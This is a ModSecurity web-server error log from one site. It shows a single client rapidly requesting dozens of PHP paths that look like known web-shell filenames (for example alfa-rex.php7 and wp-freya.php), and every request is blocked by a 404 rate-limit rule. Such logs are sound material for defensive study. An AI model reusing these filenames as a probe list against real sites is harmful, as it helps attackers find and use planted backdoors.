[Sat Feb 28 10:46:35.336549 2026] [:error] [pid 22194:tid 22209] [client 158.158.96.194:61212] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaJXC36mbajs3bzQGysVcAAAAU0"]
[Sat Feb 28 10:46:36.599739 2026] [:error] [pid 39185:tid 39266] [client 158.158.96.194:5960] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaJXDBVE-FfM89u7BQZL7AAAAJQ"]
[Sat Feb 28 10:46:37.786535 2026] [:error] [pid 39185:tid 39264] [client 158.158.96.194:45791] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaJXDRVE-FfM89u7BQZL-AAAAJI"]
[Sat Feb 28 10:46:38.663575 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:63891] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaJXDhVE-FfM89u7BQZL_QAAAIk"]
[Sat Feb 28 10:46:40.472712 2026] [:error] [pid 39184:tid 39233] [client 158.158.96.194:55500] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaJXEFtZF9Zd_U7easC7CwAAAE4"]
[Sat Feb 28 10:46:42.303518 2026] [:error] [pid 52460:tid 52469] [client 158.158.96.194:56331] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaJXErLWOogAgHGh62Sg5AAAAYY"]
[Sat Feb 28 10:46:44.440934 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:63875] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaJXFBVE-FfM89u7BQZMEwAAAIE"]
[Sat Feb 28 10:46:45.192260 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:56321] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaJXFaIAO5fN7BxyqcGdvgAAANY"]
[Sat Feb 28 10:46:47.019208 2026] [:error] [pid 11791:tid 11805] [client 158.158.96.194:12422] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaJXF2uX5e1Q32gqxH3NPAAAAQw"]
[Sat Feb 28 10:46:49.908327 2026] [:error] [pid 11791:tid 11804] [client 158.158.96.194:5981] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaJXGWuX5e1Q32gqxH3NSwAAAQs"]
[Sat Feb 28 10:46:52.729643 2026] [:error] [pid 39184:tid 39226] [client 158.158.96.194:43479] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaJXHFtZF9Zd_U7easC7JgAAAEc"]
[Sat Feb 28 10:46:54.371468 2026] [:error] [pid 11791:tid 11800] [client 158.158.96.194:43506] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaJXHmuX5e1Q32gqxH3NVgAAAQc"]
[Sat Feb 28 10:46:58.087429 2026] [:error] [pid 39185:tid 39261] [client 158.158.96.194:58636] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaJXIhVE-FfM89u7BQZMNwAAAI8"]
[Sat Feb 28 10:46:59.627833 2026] [:error] [pid 52460:tid 52469] [client 158.158.96.194:51758] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaJXI7LWOogAgHGh62ShEAAAAYY"]
[Sat Feb 28 10:47:00.581796 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:58641] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaJXJLLWOogAgHGh62ShFwAAAYo"]
[Sat Feb 28 10:47:02.162337 2026] [:error] [pid 52460:tid 52481] [client 158.158.96.194:10547] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaJXJrLWOogAgHGh62ShGwAAAZI"]
[Sat Feb 28 10:47:03.062102 2026] [:error] [pid 39185:tid 39269] [client 158.158.96.194:20167] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaJXJxVE-FfM89u7BQZMSQAAAJc"]
[Sat Feb 28 10:47:05.661716 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:43186] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaJXKWuX5e1Q32gqxH3NbAAAAQI"]
[Sat Feb 28 10:47:07.921448 2026] [:error] [pid 39185:tid 39252] [client 158.158.96.194:44263] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaJXKxVE-FfM89u7BQZMVgAAAIY"]
[Sat Feb 28 10:47:08.712320 2026] [:error] [pid 52460:tid 52486] [client 158.158.96.194:55096] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaJXLLLWOogAgHGh62ShMgAAAZc"]
[Sat Feb 28 10:47:09.275592 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:18049] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaJXLRVE-FfM89u7BQZMXAAAAII"]
[Sat Feb 28 10:47:10.106004 2026] [:error] [pid 39184:tid 39239] [client 158.158.96.194:48648] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaJXLltZF9Zd_U7easC7LgAAAFQ"]
[Sat Feb 28 10:47:10.922923 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:52699] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaJXLhVE-FfM89u7BQZMYwAAAJA"]
[Sat Feb 28 10:47:11.731843 2026] [:error] [pid 39184:tid 39237] [client 158.158.96.194:7601] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaJXL1tZF9Zd_U7easC7MQAAAFI"]
[Sat Feb 28 10:47:12.426450 2026] [:error] [pid 22194:tid 22219] [client 158.158.96.194:5586] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaJXMH6mbajs3bzQGysVswAAAVc"]
[Sat Feb 28 10:47:13.127457 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:56840] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaJXMaIAO5fN7BxyqcGd2gAAAMQ"]
[Sat Feb 28 10:47:13.958480 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:53991] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaJXMaIAO5fN7BxyqcGd3gAAAME"]
[Sat Feb 28 10:47:14.902225 2026] [:error] [pid 52460:tid 52475] [client 158.158.96.194:43079] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaJXMrLWOogAgHGh62ShPgAAAYw"]
[Sat Feb 28 10:47:15.881788 2026] [:error] [pid 52460:tid 52471] [client 158.158.96.194:57333] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaJXM7LWOogAgHGh62ShRAAAAYg"]
[Sat Feb 28 10:47:16.470611 2026] [:error] [pid 39185:tid 39250] [client 158.158.96.194:55238] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaJXNBVE-FfM89u7BQZMcgAAAIQ"]
[Sat Feb 28 10:47:17.562102 2026] [:error] [pid 39183:tid 39194] [client 158.158.96.194:46835] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaJXNRCf4HvhVePw3LbPgAAAAAI"]
[Sat Feb 28 10:47:18.370702 2026] [:error] [pid 39184:tid 39243] [client 158.158.96.194:43186] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaJXNltZF9Zd_U7easC7PgAAAFg"]
[Sat Feb 28 10:47:19.732027 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:51481] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaJXNxVE-FfM89u7BQZMfwAAAIE"]
[Sat Feb 28 10:47:20.483161 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:48394] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaJXOBVE-FfM89u7BQZMhAAAAIU"]
[Sat Feb 28 10:47:21.145699 2026] [:error] [pid 39183:tid 39212] [client 158.158.96.194:56104] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaJXORCf4HvhVePw3LbPhAAAABQ"]
[Sat Feb 28 10:47:21.990608 2026] [:error] [pid 52460:tid 52477] [client 158.158.96.194:48433] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaJXObLWOogAgHGh62ShTgAAAY4"]
[Sat Feb 28 10:47:31.848476 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:49962] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/rum.php"] [unique_id "aaJXQxVE-FfM89u7BQZMzAAAAI4"]
[Sat Feb 28 10:47:34.568924 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:47998] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/rum.php"] [unique_id "aaJXRhVE-FfM89u7BQZM7gAAAJA"]
[Sat Feb 28 10:47:38.107708 2026] [:error] [pid 52460:tid 52479] [client 158.158.96.194:49657] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/rum.php"] [unique_id "aaJXSrLWOogAgHGh62ShggAAAZA"]
[Sat Feb 28 10:47:41.690221 2026] [:error] [pid 22194:tid 22212] [client 158.158.96.194:61471] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/rum.php"] [unique_id "aaJXTX6mbajs3bzQGysV8AAAAVA"]
[Sat Feb 28 10:47:44.021085 2026] [:error] [pid 39185:tid 39253] [client 158.158.96.194:64746] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaJXUBVE-FfM89u7BQZNOAAAAIc"]
[Sat Feb 28 10:47:44.678702 2026] [:error] [pid 39185:tid 39269] [client 158.158.96.194:49026] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaJXUBVE-FfM89u7BQZNPQAAAJc"]
[Sat Feb 28 10:47:45.277668 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:60500] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaJXUWuX5e1Q32gqxH3NowAAAQ8"]
[Sat Feb 28 10:47:46.024734 2026] [:error] [pid 39183:tid 39194] [client 158.158.96.194:61446] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaJXUhCf4HvhVePw3LbPkAAAAAI"]
[Sat Feb 28 10:47:46.783028 2026] [:error] [pid 39183:tid 39195] [client 158.158.96.194:49988] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaJXUhCf4HvhVePw3LbPlgAAAAM"]
[Sat Feb 28 10:47:47.765098 2026] [:error] [pid 39185:tid 39253] [client 158.158.96.194:50428] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaJXUxVE-FfM89u7BQZNTgAAAIc"]
[Sat Feb 28 10:47:48.497275 2026] [:error] [pid 39185:tid 39254] [client 158.158.96.194:50373] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaJXVBVE-FfM89u7BQZNWQAAAIg"]
[Sat Feb 28 10:47:49.440676 2026] [:error] [pid 11791:tid 11802] [client 158.158.96.194:53018] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaJXVWuX5e1Q32gqxH3NrgAAAQk"]
[Sat Feb 28 10:47:50.658360 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:42487] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaJXVhVE-FfM89u7BQZNcgAAAJE"]
[Sat Feb 28 10:47:51.756553 2026] [:error] [pid 39292:tid 39301] [client 158.158.96.194:42459] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaJXV6IAO5fN7BxyqcGeDwAAAMc"]
[Sat Feb 28 10:47:52.863136 2026] [:error] [pid 52460:tid 52465] [client 158.158.96.194:60499] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaJXWLLWOogAgHGh62ShnAAAAYI"]
[Sat Feb 28 10:47:54.464743 2026] [:error] [pid 52460:tid 52464] [client 158.158.96.194:47652] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaJXWrLWOogAgHGh62ShogAAAYE"]
[Sat Feb 28 10:47:56.044008 2026] [:error] [pid 52460:tid 52467] [client 158.158.96.194:34162] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaJXXLLWOogAgHGh62ShrAAAAYQ"]
[Sat Feb 28 10:47:57.052350 2026] [:error] [pid 39184:tid 39231] [client 158.158.96.194:34131] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaJXXVtZF9Zd_U7easC7XQAAAEw"]
[Sat Feb 28 10:47:58.084700 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:34117] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaJXXqIAO5fN7BxyqcGeFgAAANg"]
[Sat Feb 28 10:48:04.741154 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:54255] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaJXZKIAO5fN7BxyqcGeHQAAAMk"]
